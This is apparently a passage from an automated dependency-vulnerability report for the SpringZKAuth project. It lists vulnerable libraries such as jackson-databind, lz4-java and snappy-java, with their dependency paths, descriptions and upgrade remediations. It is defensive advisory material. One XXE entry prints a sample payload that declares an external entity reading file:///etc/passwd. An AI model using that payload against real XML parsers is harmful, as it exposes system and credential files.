  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka@4.2.0-M2 › org.apache.kafka:kafka-clients@4.3.1 › org.xerial.snappy:snappy-java@1.1.10.7
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka-clients@4.3.1 › org.xerial.snappy:snappy-java@1.1.10.7
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › org.xerial.snappy:snappy-java@1.1.10.7

Overview

Affected versions of this package are vulnerable to Out-of-bounds Write via the Snappy.compress function. An attacker can cause memory corruption and force the Java Virtual Machine to terminate by providing incompressible data that exceeds the remaining capacity of the destination buffer.

Remediation

Upgrade org.xerial.snappy:snappy-java to version 1.1.10.9 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 and org.springframework.boot:spring-boot-starter-web@4.2.0-M2

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › tools.jackson.core:jackson-databind@3.1.6 › tools.jackson.core:jackson-core@3.1.6
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › org.springframework.cloud:spring-cloud-config-client@5.1.0-M1 › tools.jackson.core:jackson-databind@3.1.6 › tools.jackson.core:jackson-core@3.1.6
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.1.6 › tools.jackson.core:jackson-core@3.1.6

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the _reportInvalidToken(int, String, String) method of UTF8DataInputJsonParser, which accumulates invalid token characters into a StringBuilder with no check against ErrorReportConfiguration.getMaxErrorTokenLength(), unlike UTF8StreamJsonParser, ReaderBasedJsonParser, and NonBlockingUtf8JsonParserBase, which enforce the 256-character default. An attacker can exhaust the JVM heap by submitting a sufficiently long malformed token, since the whole token is copied into the exception message, where a 20-million-character token produces a 20,000,109-character message against 367 characters on the bounded path. This requires the application to create its parser through JsonFactory.createParser(DataInput), and no configuration constrains the path, since maxDocumentLength does not apply to DataInput sources and maxStringLength does not cover it.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.7, 3.2.3 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 and org.springframework.boot:spring-boot-starter-web@4.2.0-M2

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › tools.jackson.core:jackson-databind@3.1.6
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › org.springframework.cloud:spring-cloud-config-client@5.1.0-M1 › tools.jackson.core:jackson-databind@3.1.6
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.1.6

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the resolveForwardReference() method of CollectionDeserializer.CollectionReferringAccumulator, and in the corresponding map accumulators, which perform a linear search of the pending accumulator for every resolved object ID. An attacker can consume quadratic CPU and exhaust a request-time or worker-capacity budget by submitting JSON whose N unresolved object-ID references resolve in reverse order, costing roughly N*(N+1)/2 comparisons, measured at 2,003,000 for N=2,000. This requires the application to deserialize attacker-influenced JSON into an identity-enabled collection or map under @JsonIdentityInfo, though it needs no deep nesting or unusual JSON syntax.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.7, 3.2.3 or higher.

References

high severity

NULL Pointer Dereference

  • Vulnerable module: at.yawk.lz4:lz4-java
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.springframework.kafka:spring-kafka@4.2.0-M2 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › at.yawk.lz4:lz4-java@1.10.2
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka@4.2.0-M2 › org.apache.kafka:kafka-clients@4.3.1 › at.yawk.lz4:lz4-java@1.10.2
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka-clients@4.3.1 › at.yawk.lz4:lz4-java@1.10.2
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › at.yawk.lz4:lz4-java@1.10.2

Overview

Affected versions of this package are vulnerable to NULL Pointer Dereference and out-of-bounds read in the native XXHash implementations reached through XXHashFactory.nativeInstance(), where SafeUtils.checkRange() skips all array validation when len == 0 and lets invalid references or ranges reach the JNI code. An attacker can crash the JVM, and expose in-process memory before the crash, by passing a null array with zero length or an oversized length to the native hash32(), hash64(), or streaming update() methods, which then read outside the array bounds in native code. Exploitation requires the application to let the attacker influence the array reference or the offset and length arguments to a native XXHash call, not merely the contents of a valid array, and only the native JNI instances are affected.

Workaround

This vulnerability can be avoided by using XXHashFactory.safeInstance() instead of nativeInstance(), which computes the hash in pure Java and never crosses the JNI boundary where the flaw occurs.

Remediation

Upgrade at.yawk.lz4:lz4-java to version 1.11.1 or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. A flaw was found in FasterXML Jackson Databind, where it does not have entity expansion secured properly in the DOMDeserializer class. The highest threat from this vulnerability is data integrity.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.7, 2.10.5.1 or higher.

References

high severity
new

Timing Attack

  • Vulnerable module: org.bouncycastle:bcprov-jdk18on
  • Introduced through: org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › org.springframework.cloud:spring-cloud-starter@5.1.0-M1 › org.bouncycastle:bcprov-jdk18on@1.85.2
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › org.springframework.cloud:spring-cloud-config-client@5.1.0-M1 › org.springframework.cloud:spring-cloud-starter@5.1.0-M1 › org.bouncycastle:bcprov-jdk18on@1.85.2

Overview

Affected versions of this package are vulnerable to Timing Attack through the mod3 and modQ reduction helpers in org.bouncycastle.pqc.math.ntru.Polynomial and org.bouncycastle.pqc.crypto.ntru.NTRUSampling. An attacker can recover information about NTRU private key material by measuring the latency of secret-dependent modular reductions during key generation, encapsulation, and decapsulation.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.86 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.springframework.retry:spring-retry
  • Introduced through: org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.springframework.retry:spring-retry@1.2.2.RELEASE
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@3.3.16.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the stateful retry cache. An attacker can cause denial of service by generating a large number of unique failing requests that create persistent entries in the application-wide stateful retry cache. Because failed entries remain cached until a successful retry or retry exhaustion occurs, the cache can be filled with attacker-controlled entries, eventually preventing any further cache updates and causing subsequent stateful retries and circuit breakers to fail.

Note:

  1. This is only exploitable if the application enables stateful retries using @Retryable(stateful=true), uses attacker-controlled inputs as retry cache keys, and allows attackers to trigger failures while ensuring requests are not retried to completion.

  2. Stateless retries, which are the default behavior, are not affected.

Remediation

Upgrade org.springframework.retry:spring-retry to version 2.0.13 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to com.pastdev.httpcomponents.configuration.JndiConfiguration.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.6 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to the class ignite-jta.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.datasources.PerUserPoolDataSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.datasources.SharedPoolDataSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool (aka embedded Xalan in org.glassfish.web/javax.servlet.jsp.jstl).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

